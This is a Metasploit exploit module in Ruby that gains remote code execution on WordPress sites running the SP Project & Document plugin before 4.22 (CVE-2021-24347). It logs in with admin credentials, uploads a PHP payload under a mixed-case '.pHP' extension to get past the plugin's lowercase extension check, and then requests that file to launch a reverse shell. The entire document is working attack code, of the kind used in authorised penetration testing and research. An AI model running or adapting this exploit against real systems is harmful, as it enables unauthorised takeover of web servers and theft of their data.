##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin SP Project and Document - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
due to an arbitrary file upload vulnerability in Wordpress plugin SP Project & Document < 4.22.
The security check only searches for lowercase file extensions such as `.php`, making it possible to upload `.pHP` files for instance.
Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/sp-client-document-manager/<user_id>/<random_payload_name>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50115'],
['CVE', '2021-24347']
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Wordpress SP Project & Document < 4.22', {}]
],
'Privileged' => false,
'DisclosureDate' => '2021-06-14',
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
]
end
def check
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie
check_plugin_version_from_readme('sp-client-document-manager', '4.22')
else
CheckCode::Detected('The admin credentials given are wrong !')
end
end
def get_user_id(cookie)
r = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'Referer' => full_uri('/wp-admin/users.php'),
'vars_get' => {
'page' => 'sp-client-document-manager-fileview'
}
})
fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
user_id = r.body.to_s.match(%r{<option value='(\d+)'>#{datastore['USERNAME']}</option>})
fail_with(Failure::UnexpectedReply, "Can't find user id on plugin page") unless user_id && user_id[1]
user_id[1]
end
def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
user_id = get_user_id(cookie)
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.pHP"
post_data = Rex::MIME::Message.new
post_data.add_part(Rex::Text.rand_text_alpha(5..8), nil, nil, "form-data; name='cdm_upload_file_field'")
post_data.add_part("/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=#{user_id}", nil, nil, "form-data; name='_wp_http_referer'")
post_data.add_part('exploits', nil, nil, "form-data; name='dlg-upload-name'")
post_data.add_part('', 'application/octet-stream', nil, "form-data; name='dlg-upload-file[]'; filename=''")
post_data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name='dlg-upload-file[]'; filename='#{payload_name}'")
post_data.add_part('', nil, nil, "form-data; name='dlg-upload-notes'")
post_data.add_part('Upload', nil, nil, "form-data; name='sp-cdm-community-upload'")
print_status("Uploading file \'#{payload_name}\' containing the payload...")
r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => full_uri('wp-admin/admin.php')
},
'vars_get' => {
'page' => 'sp-client-document-manager-fileview',
'id' => user_id
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 302
register_files_for_cleanup(payload_name.downcase)
print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/sp-client-document-manager/#{user_id}/#{payload_name.downcase}")
)
end
end